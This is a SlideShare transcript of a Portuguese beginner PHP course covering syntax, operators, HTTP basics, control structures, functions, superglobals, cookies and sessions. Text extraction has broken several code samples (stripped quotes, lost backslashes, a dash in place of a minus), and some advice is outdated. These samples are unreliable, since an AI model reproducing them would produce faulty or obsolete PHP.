Curso completo php
Upcoming SlideShare
Loading in...5
×
 

Like this? Share it with your network

Share

Curso completo php

on

  • 2,538 views

 

Statistics

Views

Total Views
2,538
Views on SlideShare
2,532
Embed Views
6

Actions

Likes
2
Downloads
244
Comments
0

2 Embeds 6

http://dbatchscript.forumeiros.com 5
http://ilubrasileiro.com.br 1

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

Curso completo php Document Transcript

  • 1. Modulo01 – Introduçãoo O que é PHP?o Pra que serve o PHP?o Como funciona o PHP?o Dicas úteis na hora de programaro Variáveiso Operadoreso ExercíciosO que é PHP?PHP significa Personal Home Page ou Hypertext Preprocessor, é uma linguagem de scriptOpen SourceE ela não precisa ser compilada, o PHP é executado no servidor e é processado na horaque a página for executada.Pra que serve o PHP?Para o desenvolvimento de aplicações Web ou sistemas intranet.E o PHP conecta com diversos bancos de dadosO PHP também faz sistemas de controles statisticos, bate papos, fórum, portais, enquetes,blogs, entre outros sistemas conhecidos.Como Funciona o PHP?O PHP funciona sendo executado por um programa servidor web configurado com o PHPcomo CGI ou filtro isapi e o PHP processa a página e envia apenas o resultado doprocesso em HTML para o usuárioCGI - Commom Gateway Interface (Interface Comum de Gateway) é uma interfacedefinida de maneira a possibilitar a execução de programas sob um servidorISAPI é uma DLL personalizada que está no mesmo espaço de memória que o servidorWeb, e é chamado pelo servidor da web em resposta a cada solicitação HTTP.O PHP só é interpretado dentro das tags simples <? ?> ou <?PHP ?> para suporte a XMLou XHTMLO PHP também funciona com essas tag: <script language = "php"> Código... </script>O PHP também funciona com tags ASP: <% %>Uma página em PHP tem que ter a extensão .phpSe não for usar nenhuma tag PHP na página deixa a com .htmlDaí o PHP não precisara ficar lendo essa página em busca de tags php
  • 2. e no final de cada linha você precisa usar um ;( ponto e vírgula ) idêntico à linguagem Cecho() é construtor da linguagem ele serve para exibir algo na tela e não é obrigatório usarparênteses ().Use ( Apóstrofos ) para delimitar a string( textos ) do seu script exemplo: <?PHP echo ola mundo; ?>ou modo simples para uma linha:<?= ola mundo; ?>As " ( aspas ) se a string é delimitada entre " ( aspas ), o PHP entende mais seqüências deescape para caracteres especiais:n = nova linhar retorno da linhat tabTambém da para delimitar as string usando a sintaxe heredoc ("<<<") exemplo:$string = <<<EODExemplo de uma stringdistribuída em várias linhasutilizando a sintaxe heredoc.EOD;Embutido dentro do HTML:<html><head><title>Titulo</title></head><body><?phpecho "ola mundo";?></body></html></font>Ou você pode dar um echo nas tags HTML dentro do PHP exemplo:<?phpecho "<b>PHP</b>";?><?phpecho "<a href="link.html">Link</a>";?>
  • 3. Dicas uteis na hora de programarPara desenvolver um script e evitar errosPrograme com essas opções no php.ini:display_errors = on => deixa ativado a opção para exibir mensagens de erro ou alertas eavisos sobre alguma coisa que esta erradadisplay_startup_errors = On => use essa opção em on só na hora que estiverdesenvolvendo seus script ,tem erros que são iniciados e o display_errors não mostraerror_reporting = E_ALL => mostra todos possíveis errosregister_globals = off => a partir do PHP 4.2.0 passou a se usar ela em off por motivo desegurançasexit; serve para a execução do script ,então use o exit sempre que quiser debugar seuscript, ou em funções e estruturas de controlesoutras dicas nunca esqueça de colocar o ; ( ponto e vírgula ) no final de cada linha.e sempre usar as aspas ou apostrofos em string exemplos: $nome = "Mario"; $array[array1]; $_POST[campo]; echo "Bom estudo";VariáveisAs variáveis no PHP são representadas por um cifrão ($) seguido pelo nome da variável.Os nomes de variável no PHP fazem distinção entre maiúsculas e minúsculas.Um nome de variável válido se inicia com uma letra ou sublinhadoAtribuindo valores a uma variável: $teste = "testando"; $numero = 1234; $teste2 = "testando 1234";OperadoresConcatenando uma variávelConcatenar significa juntar as variáveis e no PHP usa-se o . ( ponto ) para juntar asvariáveis
  • 4. Exemplo:$nome = "João "; <= reparem que tem um espaço depois do nome isso é feito para quandojuntar as variáveis nome e sobrenome não ficar grudado JoaoSantos$nome = "João ";$sobrenome = "Santos";$nome_completo = $nome.$sobrenome;ou$nome_completo = $nome;$nome_completo .= $sobrenome;Somando$valor = 100;$valor += 200;ou$valor = 200 + 100;Subtraindo$valor = 300;$valor -= 100;ou$valor = 300 - 100;Mutiplicando$valor = 300;$valor *= 100;ou$valor = 300 * 100;Operadores Aritméticos$a + $b Adição Soma de $a e $b.$a - $b Subtração Diferença entre $a e $b.$a * $b Multiplicação Produto de $a e $b.$a / $b Divisão Quociente de $a por $b.$a % $b Módulo Resto de $a dividido por $b
  • 5. Operadores de comparação$a == $b Igual Verdadeiro (TRUE) se $a é igual a $b.$a === $b Idêntico Verdadeiro (TRUE) se $a é igual a $b, e eles são do mesmo tipo(somente para PHP4).$a != $b Diferente Verdadeiro se $a não é igual a $b.$a <> $b Diferente Verdadeiro se $a não é igual a $b.$a !== $b Não idêntico Verdadeiro de $a não é igual a $b, ou eles não são do mesmo tipo(somente para o PHP4).$a < $b Menor que Verdadeiro se $a é estritamente menor que $b.$a > $b Maior que Verdadeiro se $a é estritamente maior que $b.$a <= $b Menor ou igual Verdadeiro se $a é menor ou igual a $b.$a >= $b Maior ou igual Verdadeiro se $a é maior ou igual a $b.Operadores Lógicos$a and $b E Verdadeiro (TRUE) se tanto $a quanto $b são verdadeiros.$a or $b OU Verdadeiro se $a ou $b são verdadeiros.$a xor $b XOR Verdadeiro se $a ou $b são verdadeiros, mas não ambos.! $a NÃO Verdadeiro se $a não é verdadeiro.$a && $b E Verdadeiro se tanto $a quanto $b são verdadeiros.$a || $b OU Verdadeiro se $a ou $b são verdadeiros.Operadores de Incremento/Decremento++$a Pré-incremento Incrementa $a em um, e então retorna $a.$a++ Pós-incremento Retorna $a, e então incrementa $a em um.--$a Pré-decremento Decrementa $a em um, e então retorna $a.$a-- Pós-decremento Retorna $a, e então decrementa $a em umFim do primeiro módulo
  • 6. Modulo02 – Introdução part2o Conceitos básicos sobre a Internet em modo geralo Variáveis variáveiso Estruturas de Controleo Funçõeso returnConceitos básicos sobre a Internet em modo geralInternet é uma rede de comunicações de abrangência mundial e a World Wide Web é umaforma particular de utilização da Internet. A World Wide Web ou WWW, ou W3 é um dosserviços baseados em hipertextos.A Web é o conjunto de todos navegadores, serviços, arquivos ou recursos,e qualqueroutro serviço disponível através do browser.A Web está relacionadaa à distribuição de documentos e informações pela Internet, e oHTTP tem a função de servir como protocolo de rede da Web.Protocolo de ComunicaçãoUm protocolo é um conjunto de regras que administra procedimentos de troca deinformaçõesHTTPO HTTP (HyperText Transfer Protocol) surgiu em volta dos anos 90 no CERN (EuropeanCenter for high-Energy Physics) na Suíça. Quem criou o HTTP foi um fisico inglês seunome era Tim Berner-Lee.O Protocolo HTTP é um protocolo de rede utilizado para entregar virtualmente todos osarquivos e outros dados.O HTTP é responsável pela maioria das transações realizadas na Internet . O surgimentodo HTTP veio da necessidade de distribuiçãode informações na Internet, e para que essas transferências fossem possíveis houve anecessidade de criar um padrão de comunicaçãoentre clientes e os servidores Web, ou seja, de que forma seria feita as requisições dedados e como seriam aceitas e respondidaspelos servidores de recursos na Internet.
  • 7. TCP/IPO TCP/IP (Protocolo de Controle de Transmissão/Internet Protocol) (TCP) Tem comofunção deixar confiável a transferência de informação(IP) recebe ou envia pacotes individuais de informações e os envia ao seu destino certo. OTCP/IP cria a conetividade entre navegadores e servidores, a Web também utiliza seupróprio protocolo o HTTP para troca de informações entre clientes e servidores. O HTTP éutilizado pelos clientes para requisições de documentos ou serviços dos servidores e oHTTP funciona com a conexão TCP/IP (sockets TCP/IP).HTML (HyperText Markup Language) ou Linguagem de marcação de Hiper Textosestabelece o conteúdo de um documento hipertexto conforme a World Web Consortium(W3C).URL,URI,URNURL (Uniform Resource Locator), URI (Uniform Resource Identifier) URN (UniformResource Name)URI é uma forma generalizada para se referir a um recurso: um recurso inclui um URL eum URN, ou seja, URN se refere ao nome do recurso em sipor exemplo um arquivo e a URL se refere à localização desse recurso, e ambos formamum URI: a identificação uniforme de um mes recursoXHTML e XMLXHTML é considerado o futuro do HTML e uma forma de transição para XML. XHTMLpossui elementos de formatação da HTML 4.01, mas possui alguma regras definidas pelaXML. XML é um padrão para descrição de dados, ao passo que HTML se limita àdescrição de conteúdo.XMLXML (Extensible Markup Language) permite que você crie seus próprios conjuntos deelementos de marcação, o XML torna possível a a estruturação dos dadosGETO GET é o método padrão para recuperar ou requisitar um recurso por meio do protocoloHTTP. O GET solicita ao servidor para que encontre e retorne qualquer dado que estiveridentificado pelo URI. Se o URI apontar para um arquivo, o servidor deverá retornar oarquivo(um recurso estático), se apontar para um script.
  • 8. CGI(um recurso dinâmico) o servidor deverá retornar o resultado do script executado.POSTA requisição por meio do método POST é utilizada para enviar dados ao servidor paraserem processados e trabalhados de alguma forma deprograma. O uso mais comum do método POST é submeter um formulário de dados,nesse caso o cabeçalho Content-Type muitas veses possui a descrição application/x-www-form-urlencoded e o cabeçalho Content-Length fornece o comprimento dos dados doformulário codificado na URL.O método GET também pode ser utilizado para submeter e enviar dados de um formulário,mas esses dados serão codificados na URL e anexados à URI.O método POST oferece maior segurança em relação aos dados transferidos, pois osdados farão parte do corpo da mensagem, enquanto no GET os dados serão anexados àURL, ficando a mostra para o usuário, podendo ser alterados facilmente antes de seremenviados.Variáveis variáveisVariáveis são os nomes de variáveis que podem ser criadas e utilizadas dinamicamente.Uma variável normal é criada numa instrução como:PHP<?php$a = "Ola";?>Uma variável pega o valor de uma variável e a trata com o nome de uma variável. Noexemplo acima, hello pode ser utilizada como onome de uma variável utilizando dois sinais de cifrão:PHP<?php$a = "Ola";$$a = "Usuarios";echo "$a $Ola";?>
  • 9. Estruturas de ControleO que são estruturas de controle?São contruções da linguagem que permitem que você controle o fluxo do seuprograma...número de vezes que ele será executado...como e quando ele serádesviado...enfim as estruturas de controle estão entre as mais importantesimplementações das linguagens de programação, incluindo o PHP...As estruturas de linguagem implementadas no PHP são:if;else;elseif;while;do.. while;for;foreach;break;continue;switch;If É com certeza uma das mais importantes estruturas de controle do PHP. Ela permite aexecução condicional de um pedaço do seu código... A sintaxe da mesma é a seguinte:if(expressão){instruções...}Sendo que a expressão é aquilo que será testado pelo if.Ex:Suponha que você queira verificar se o usuário digitou mesmo um determinado número,10 por exempo.PHP<?php$numero = $_POST["numero"];if($numero == 10){echo "Parabéns você digitou o número correto";}?>Note que nesse exemplo as chaves poderiam ser omitidas e não teriamos problemas desintaxe, pois temos apenas uma instrução abaixo o if...Caso tivessemos mais, aí sim seria obrigatório, mas por questão de organização elegibilidade costumo colocar sempre.
  • 10. O if retorna um valor boleano, ou true caso a condição seja verdadeira, ou false caso acondição falhe...Digamos que nosso programa seja apenas isso e se o usuário digitarqualquer valor diferente de 10, nada seria mostrado na tela.Mas geralmente você vai querer excecutar uma instrução para quando o teste do if forfalse. É aí que entra o else "senão". Ele permite instruir ao script para executar um outrofragmento de código caso o if de false...ex:PHP<?php$numero = $_POST["numero"];if($numero == 10){echo "Parabéns você digitou o numero correto";}else{echo "Pena você entrou com um valor diferente de 10";}?>ElseifElseif, como seu nome sugere, é uma combinação de if e else.Ele permite um poder de decisão maior ao seu script, pois se o teste 1 falhar ele tentaráexecutar o segundo e assim por diante, segue um exemplo clássico de seu uso...PHP<?phpif ($a > $b){echo "a é maior que b";}elseif ($a == $b){echo "a é igual a b";}else{echo "a é menor que b";}?>
  • 11. Dica: sempre que abrir uma chave "{" feche logo em seguida "}" para evitar esqueçer defazer isso mais tarde...whileLoops while são o tipo mais simples de criar um loop em PHP. O formato básico de umcomando while é:while (expressao) instruçõesO significado de um comando while é simples. Ele pede que o PHP execute os comandosaninhados repetidamente, enquanto a expressão do while é avaliada como TRUE. O valorda expressão é verificada cada vez que se passa no começo do loop, desta forma,mesmo que este valor mude durante a execução do(s) comando(s) aninhado(s), aexecução não parará até que o fim da iteração (cada vez que o PHP executa os comandosdentro do loop é uma iteração). Às vezes, se a expressão while for avaliada como FALSElogo no início, o(s) comando(s) aninhado(s) não será(ão) rodado(s) nem uma vez sequer.Como no comando if, você pode agrupar múltiplos comandos dentro do mesmo laço whileenglobando um grupo de instruções com chaves, ou usando a sintaxe alternativa:while (expressao){instrucoes ...}Para ficar mais claro de entender, vamos montar um script que escreva os números de 1 a10 um abaixo do outro, ok?PHP<?php$i = 1; // $i será nosso controlador ele dirá quantas vezes o script será executado, nessecaso 10...while ($i <= 10) {echo $i++; // nesse caso será mostrado o valor e logo após seráadicionado mais uma ao seu valor}?>do..whileLoops do while são bem similares aos loops while, exceto pelo fato de que a condição éverificada no fim de cada iteração em vez de no começo.Há apenas uma sintaxe para loops do..while:PHP<?php$i = 0;do{echo $i++;}while ($i > 10);
  • 12. ?>Note que nessa estrutura o comando sempre será executado ao menos uma vez...pos a condição é verificado apenas no final, ou seja após a primeira interação...forLoops for são os laços mais complexos em PHP, pois no mesmo corpo você inicia avariável de controle, diz até quando será executada, e faz o incremento, ou decrementodependendo do caso. Sua sitaxe é a seguinte...for (expr1; expr2; expr3) { instrucoes}Vamos ao nosso exemplo que imprime os números de 1 a 10, mas dessa vez vamos nosaventurar mais, vamos montar a tabuada do 10, rs...Super útil...PHP<?phpfor ($i = 1; $i <= 10; $i++){echo $i . "X" . 10 . "=" . $i*10 . "<br>";}?>Vamos a outro exemplo espetacular. Lembra dos simpsons onde o pobre barth semprefica de castigo escrevendo 500 vezes algo no quadro negro? Se ele soubesse php seriamuito mais simples...PHP<?phpfor ($i = 1; $i <= 500; $i++){echo "Eu sou um bom aluno <br>";}?>foreachEsse construtor da lingagem oferece uma maneira fácil de trabalhar com matrizes "arrays".Foreach funciona somente com arrays, e lançará um erro se tentar utilizá-lo em umavariável de qualquer tipo diferente ou vamos a um exemplo de seu uso.PHPforeach (expressao_array as $chave => $valor){ instrucoes }
  • 13. PHP<?php/* exemplo foreach 1: somente valores */$a = array(1, 2, 3, 17);foreach ($a as $v) {echo "Valor atual de $a: $v.n";}/* exemplo foreach 2: valores (com as chaves impressas para ilustração) */$a = array(1, 2, 3, 17);$i = 0; /* para exemplo somente */foreach ($a as $v) {echo "$a[$i] => $v.n";$i++;}/* exemplo foreach 3: chaves e valores */$a = array ("um" => 1,"dois" => 2,"três" => 3,"dezessete" => 17);foreach ($a as $k => $v) {echo "$a[$k] => $v.n";}/* exemplo foreach 4: arrays multidimensionais */$a[0][0] = "a";$a[0][1] = "b";$a[1][0] = "y";$a[1][1] = "z";foreach ($a as $v1) {foreach ($v1 as $v2) {echo "$v2n";}}/* exemplo foreach 5: arrays dinâmicos */
  • 14. foreach (array(1, 2, 3, 4, 5) as $v) {echo "$vn";}?>FunçõesO que é uma função?Funções são responsáveis por realizar uma ou mais tarefas definidas ou não peloprogramador. Não entendeu? Ok.Suponhamos que dentro de um script PHP, você irá usar uma mesma expressãomatemática várias vezes, ex:echo 10+(5*6)/14-2;echo 10+(5*3)/14-2;echo 10+(5*2)/14-2;Obs.: No echo() não é necessário o uso de parênteses.Repare que a única coisa que mudou foi o número multiplicado (6,3,2), mas seria muitomais fácil se criássemos uma função pra isso. Ficaria algo como:function expressao($valor) {echo 10+(5* $valor)/14-2;}ExpressõesEntão como ficariam as expressões? Simples:expressao(6);expressão(3);expressão(2);Como são definidas as funções?Uma função é definida usando a palavra function, seguido pelo nome da função e porparêntese:function nomeFuncao()Em funções podem ser usadas tanto letras minúsculas como maiúsculas. Podem serusados também underlines e números (no caso de números, não como primeiro caracter).Errado: function 2quebraLinha() {Errado: function quebraLinha@() {Você também pode usar variáveis dentro dos parênteses. Estas devem ser separadas porvírgulas, as variáveis definidas aqui só poderão ser usadas dentro das funções, elaspoderão ter um valor definido. Quando for usar a função, se você definir um valor no localda variável, o valor padrão será perdido, e o novo valor será dado àquela variável.
  • 15. Um exemplo:function mostraValor($variavel= padrão) {echo $variavel;}Nesse caso a string “padrão” foi definida padrão para a variável $variavel. Se você usar afunção sem definir nenhum argumento, ela irá mostrar o texto padrão, no caso “padrão”:mostraValor();Mas se você colocar um outro valor dentro dos parênteses no uso da função, o valor novodefinido será mostrado:mostraValor(“Novo texto aqui”);Irá mostrar “Novo texto aqui”.A mesma coisa vale para mais argumentos definidos:function mostraValor($valor=”padrão”,$segundoValor) {Depois dos parênteses será usando chaves e toda definição da função deverá estar dentrodela:function mostraValor($valor=”padrão”) {// Aqui os parâmetros da função}ReturnO que é “return”?return é palavra usada pra retornar algum valor da função para uma nova variável definida,como exemplo, vamos voltar à primeira expressão matemática: Se você não quisessemostrar as expressões e sim guardar os resultados em variáveis, você poderia usar umafunção parecida com essa:function expressao($valor) {$novoValor = 10+(5* $valor)/14-2;return $novoValor;}Assim, uma nova variável poderia receber o resultado. Seguindo os exemplos anteriores,ficaria assim:$exp1 = expressao(6);$exp2 = expressao(3);$exp3 = expressao(2);
  • 16. O uso do "return" significa o fim da função, tudo que for usado após o return erá perdido.Obs.: Só quero ressaltar que na função podem ser usados variáveis de qualquer tipo,inteiros, strings, boolean, arrays, etc, os valores retornadas (com o return) seguem amesma regra.Fim.
  • 17. Modulo 3 – Introdução part3  Variáveis Predefinidas  Escopo de variáveis  Cookies  SessionsVariáveis Predefinidas$GLOBALSContém um referência para todas as variáveis que são atualmente disponíveis dentro doescopo global do script. As chaves desse array são os nomes das variáveis globais.$GLOBALS existe desde o PHP 3.$_GETVariáveis postadas para o script via método HTTP GET. Análogo ao antigoarray $HTTP_GET_VARS(que ainda continua disponível, mas em decadência).$_POSTVariáveis postadas para o script via método HTTP POST. Análogo ao antigoarray$HTTP_POST_VARS (que ainda continua disponível, mas em decadência).$_COOKIEVariáveis postadas para o script via cookies HTTP. Análogo ao antigoarray $HTTP_COOKIE_VARS(que ainda continua disponível, mas em decadência).$_FILESVariáveis postadas para o script via transferência de arquivos HTTP. Análogo ao antigoarray$HTTP_POST_FILES (que ainda continua disponível, mas em decadência).Veja uploads via método POST para maiores informações.$_ENVVariáveis disponíveis no script do ambiente de execução. Análogo ao antigo array$HTTP_ENV_VARS (que ainda continua disponível, mas em decadência).$_REQUESTVariáveis postadas para o script por todas os mecanismos de input GET, POST, eCOOKIE não podem ter seu conteúdo garantido de qualquer forma.A presença e a ordem de inclusão das variáveis nesse array é definida de acordo com adiretiva de configuração variables_order. Este array não tem um equivalente nas versõesanteriores do PHP 4.1.0. Veja também import_request_variables().$_SESSIONVariáveis que estão atualmente registradas na sessão do script. Análogo ao antigo array$HTTP_SESSION_VARS (que ainda continua disponível, mas em decadência).Veja a sessão funções de manipulação de Sessões para maiores informações.$_SERVER
  • 18. Variáveis criadas pelo servidor web ou diretamente relacionadas ao ambiente de execuçãodo script atual. Análogo ao antigo array $HTTP_SERVER_VARS (que ainda continuadisponível, mas em decadência).$_SERVER é um array contendo informações como headers, caminhos e localizações doscript. Os itens deste array são criados pelo servidor web. Não há garantias que todos osservidores web gerem todas elas: alguns servidores talvez omitam algumas ou geramoutras que não estão listadas aqui. Mesmo assim, um grande número dessas variáveisestão de acordo com a especificação CGI 1.1, então você pode esperar encontrá-lasnesse array.PHP_SELFO nome do arquivo do script atualmente em uso, relativo ao document root. Por exemplo,$_SERVER[PHP_SELF] em um script com o endereçohttp://example.com/test.php/foo.bar pode ser /test.php/foo.bar. A constante __FILE__contém o caminho completo e nome do arquivo (mesmo incluído) atual.Se estiver rodando o PHP em linha de comando, esta variável não está disponível.argvArray de argumentos passado para o script. Quando o script é executado na linha decomando, isto permite um acesso aos parâmetros de linha de comando no estilo do C.Quando chamado via método GET, ele conterá a query string.argcContém o número de parâmetros da linha de comando passados para o script (seexecutando da linha de comando).GATEWAY_INTERFACEO número de revisão da especificação CGI que o servidor está utilizando, por exemplo :CGI/1.1.SERVER_NAMEO nome host do servidor onde o script atual é executado. Se o script está rodando em umhost virtual, este será o valor definido para aquele host virtual.SERVER_SOFTWAREA string de identificação do servidor, fornecida nos headers quando respondendo arequests.SERVER_PROTOCOLNome e número de revisão do protocolo de informação pelo qual a página foi requerida,por exemplo HTTP/1.0;REQUEST_METHODContém o método de request utilizando para acessar a página. Geralmente GET, HEAD,POST ou PUT.QUERY_STRINGA query string (string de solicitação), se houver, pela qual a página foi acessada.
  • 19. DOCUMENT_ROOTO diretório raiz sob onde o script atual é executado, como definido no arquivos deconfiguração do servidor.HTTP_ACCEPTO conteúdo do header Accept: da requisição atual, se houver.HTTP_ACCEPT_CHARSETO conteúdo do header Accept-Charset: da requisição atual, se houver. Exemplo: iso-8859-1,*,utf-8.HTTP_ACCEPT_ENCODINGO conteúdo do header Accept-Encoding: da requisição atual, se houver. Exemplo: gzip.HTTP_ACCEPT_LANGUAGEO conteúdo do header Accept-Language: da requisição atual, se houver. Exemplo en.HTTP_CONNECTIONO conteúdo do header Connection: da requisição atual, se houver. Exemplo: Keep-Alive.HTTP_HOSTO conteúdo do header Host: da requisição atual, se houver.HTTP_REFERERO endereço da página (se houver) através da qual o agente do usuário acessou a páginaatual. Essa diretiva é informada pelo agente do usuário.Nem todos os browsers geram esse header, e alguns ainda possuem a habilidade demodificar o conteúdo do HTTP_REFERER como recurso. Em poucas palavras, não éconfiável.HTTP_USER_AGENTO conteúdo do header User-Agent: da requisição atual, se houver. É uma string denotandoo agente de usuário pelo qual a página é acessada.Um exemplo típico é: Mozilla/4.5 [en] (X11; U; Linux 2.2.9 i586). Além de outras coisas,você pode utilizar este valor com get_browser() para personalizar a geração de suaspáginas para as capacidades do agente do usuário.REMOTE_ADDRO endereço IP de onde o usuário está visualizado a página atual.REMOTE_HOSTO nome do host que o usuário utilizou para chamar a página atual. O DNS reverso(lookup) do REMOTE_ADDR do usuário.Nota: Seu servidor web precisa estar configurado para criar essa variável. Por exemplo, noApache você precisa colocar um HostnameLookups Ondentro do httpd.conf. Veja também gethostbyaddr().REMOTE_PORTA porta TCP na máquina do usuário utilizada para comunicação com o servidor web.
  • 20. SCRIPT_FILENAMEO caminho absoluto o script atualmente em execução.Nota: Se o script for executado pela CLI com um caminho relativo, como file.php ou../file.php, $_SERVER[SCRIPT_FILENAME] irá conter o caminho relativo especificadopelo usuário.SERVER_ADMINO valor fornecido pela diretiva SERVER_ADMIN (do Apache) no arquivo de configuraçãodo servidor. Se o script está sendo executado em um host virtual, este será os valordefinido para aquele host virtual.SERVER_PORTA porta na máquina servidora utilizada pelo servidor web para comunicação. Como default,este valor é 80. Utilizando SSL, entretanto, mudará esse valor para a porta decomunicação segura HTTP.SERVER_SIGNATUREString contendo a versão do servidor e nome do host virtual que é adicionado às páginasgeradas no servidor, se ativa.PATH_TRANSLATEDO caminho real do script relativo ao sistema de arquivos (não o document root), depoisrealizou todos os mapeamentos de caminhos (virtual-to-real).Nota: A partir do PHP 4.3.2, PATH_TRANSLATED não mais existe implicitamente sob aSAPI do Apache 2, ao contrário da mesma situação no Apache 1, onde ela tinha o mesmovalor da variável de servidor SCRIPT_FILENAME, quando a mesma não era configuradapelo Apache. Essa mudança foi realizada para conformidade com a especificação CGI,onde PATH_TRANSLATED deve existir somente se PATH_INFO estiver definida.Apache 2 users may use AcceptPathInfo = On inside httpd.conf to define PATH_INFO.SCRIPT_NAMEContém o caminho completo do script atual. Útil para páginas que precisam apontar paraelas mesmas (dinamicamente). A constante __FILE__ contém o caminho completo e nomedo arquivo (mesmo incluído) atual.REQUEST_URIO URI fornecido para acessar a página atual, por exemplo, /index.html.PHP_AUTH_USERQuando executando sob o Apache como módulo e fazendo autenticaçào HTTP, estavariável estará definida com o username fornecido pelo usuário.PHP_AUTH_PWQuando executando sob o Apache como módulo e fazendo autenticaçào HTTP, estavariável estará definida com a senha fornecida pelo usuário.AUTH_TYPEQuando executando sob o Apache como módulo e fazendo autenticaçào HTTP, estavariável estará definida com o tipo de autenticação utilizado.
  • 21. Esta é uma variável superglobal, ou automaticamente global. Isto significa que ela édisponível em todos os escopos (níveis) de um script.Você não precisa fazer um global $_SERVER; para pode acessá-la dentro de funções oumétodos, como era necessário com $HTTP_SERVER_VARS.Escopo de variáveisQuando uma variável é usada dentro de uma função, pode haver uma outra variável com omesmo nome que é utilizada em outra função ou no código do programa principal. Sãoespaços de memória diferentes, e cada uma funciona dentro do seu contexto, ou seja, avariável definida dentro de uma função só pode ser acessada ali dentro. Fora dali seu valornão é acessível em nenhuma outra parte do programa, mas é possível usar dentro de umafunção o valor de uma variável existente também no programa principal, tem dois jeitospara isso:Defini-la como global no inicio da função ou utilizar o array predefinido $GLOBALS, queutiliza os nomes das variáveis como associativaExemplo: PHP <?php $num = 1500; function escopo() { global $num; $num += 5; echo $num."<br>"; } echo $num."<br>"; escopo(); ?>CookiesO famoso cookie que nós conhecemos hoje foi criado em junho de 1994Antigamente cada visita a um site era como se fosse a primeira visita, sem formaautomática de se saber se um usuário já esteve ali, ou que páginas havia consultado.Qualquer transação comercial tinha que ser feita do início ao fim em uma só visita, e osvisitantes tinham que passar pelas mesmas páginas vezes seguidas ,era como visitar umaloja onde o vendedor tinha amnésia.O criador do cookie chama-se Lou Montulli, ele foi o nono funcionario a ser contratado poruma empresa que logo depois se tornaria a Netscape Communications, Montulli era umhacker, mas naquele tempo o nome hacker era usado no bom sentido quando uma pessoa
  • 22. entendia muito de computadores. Quando ele teve a ideia de inventar o cookie a soluçãoencontrada era que cada computador de site da Web colocasse um pequeno arquivo namáquina de cada visitante, que acompanhasse seus passos dentro do site visitado.Montulli chamou essa nova tecnologia de "objeto do estado de cliente persistente”, mas eletinha um nome mais charmoso em mente, um do início da computação. Naquela época, asmáquinas trocavam pedaços de informação para propósitos de identificação e os primeirosprogramadores chamaram os dados trocados de "magic cookies", biscoitos mágicos.Montulli chamou sua invenção, descendente direta desses, de "cookie", biscoito.Foi um marco na história da computação: de um só golpe, os cookies mudaram a Web,que passou de um lugar de visitas descontínuas para um ambiente rico, no qual comprar,brincar e até viver, para alguns.Fundamentalmente, os cookies alteraram a natureza da navegação pela Web. Ela passoude uma atividade relativamente anônima, como caminhar pelas ruas de uma metrópole,para um ambiente onde os registros das transações, movimentos e até desejos podem serarmazenados, avaliados, minados e vendidos.Graças aos cookies, um cliente que faz uma compra em um site pode abandonar seucarrinho de compras antes de finalizar a compra e voltar mais tarde ao site, que perguntaráse ele deseja fazer seu pedido.Os cookies também permitem aos sites mostrarem anúncios diretamente ligados às partesdo site visitadas pelo navegador. Assim, alguém visitando um site orientado para a saúdeque lê informações sobre drogas para diabetes poderá ver um anúncio de nova medicaçãopara a doença.Todas essas funções podem ser feitas sem o conhecimento do nome do visitante, porqueo identificador anônimo e único incluído no cookie, é suficiente. Mas, se um proprietário desite da Web combinar esse identificador com informações pessoais do visitante, domomento de sua inscrição no site, por exemplo, então o cookie se torna um mecanismopoderoso de monitoramento individual.O php usa a função setcookie para enviar o cookie para o usuário essa função também éusada para excluir o próprio cookie, exemplo de criação de um cookie:setcookie("nome_do_cookie", "valor_do_cookie", "tempo de expiração");No tempo de expiração você pode usar a função time() + os segundos veja exemplo: PHP <? setcookie("cookie", "teste", time() + 3600); ?>Esse cookie tem uma validade de 1 hora:
  • 23. PHP <? setcookie("cookie", "teste", time() + 3600*24*365); ?>Esse cookie tem validade de um ano3600 segundos = 1 hora3600 segundos vezes 24 horas24 horas vezes 365 diasPara excluir um cookie basta fazer a mesmo sistema que criar ele, mas usando um prazode expiração negativa. PHP <? setcookie("cookie", "teste", time() – 3600*24*365); ?>Veja acima o cookie que tinha validade de um ano será excluído pq foi passado que otempo dele agora é de um ano atrás, ou seja, já acabou.SessionsUma sessão (session) é um período de tempo durante o qual uma pessoa navega numsite.Uma sessão é gravada no servidor, e o tempo de duração de uma sessão pode ser ate ousuário fechar a página.Quando o usuário entra no site criamos uma sessão e ela recebe um número identificadorúnico, chamado de session_id, para uma pagina ter o acesso aos dados da sessão elatem que ter esse número identificador.Para criar uma sessão sempre se utiliza session_start() e antes de qualquer saída html.Exemplo: PHP <? session_start();
  • 24. $_SESSION["teste"] = 1; ?>Foi criado uma sessão com o nome se teste e valor 1E nas paginas seguintes você pode restaurar esse valor assim: PHP <? session_start(); echo $_SESSION["teste"]; ?>Você pode usar session_register() para registrar suas variáveis, no caso, o nome davariável na sessão será a mesma do nome da variável gravado, exemplo: PHP $linguagem = "PHP"; session_register("linguagem");Nesse caso foi gravada a variável $linguagem na variável de sessão “linguagem”, eis avantagem de se usar $_SESSION que é recomendado a partir da versão 4.1, já que vocêpoderá definir o nome da variável na sessão.Obs.: session_register trabalha com register_globals on, e como está em extinção o usoem on, é sempre recomendado então usar $_SESSION, aliás, as facilidades são muitomaiores, já que você trabalhará com elas como uma variável normal.Onde posso usar sessões?Na verdade, as sessões são geralmente usadas pra criar lojas virtuais e sistemas de login,onde o usuário entrará com usuário e senha em um formulário. Buscará no banco dedados (ou o que estiver usando com um) e se achar algum usuário gravará na sessão umaidentificação que dirá que ele já foi logado. Isso somente durará até o fechamento dobrowser. Logo, grande parte dos websites ainda usam cookies por esse motivo. Até hoje, aúnica maneira de você sair de um site, entrar mais tarde e tudo estar do jeito que você viaantes é usando os cookies.
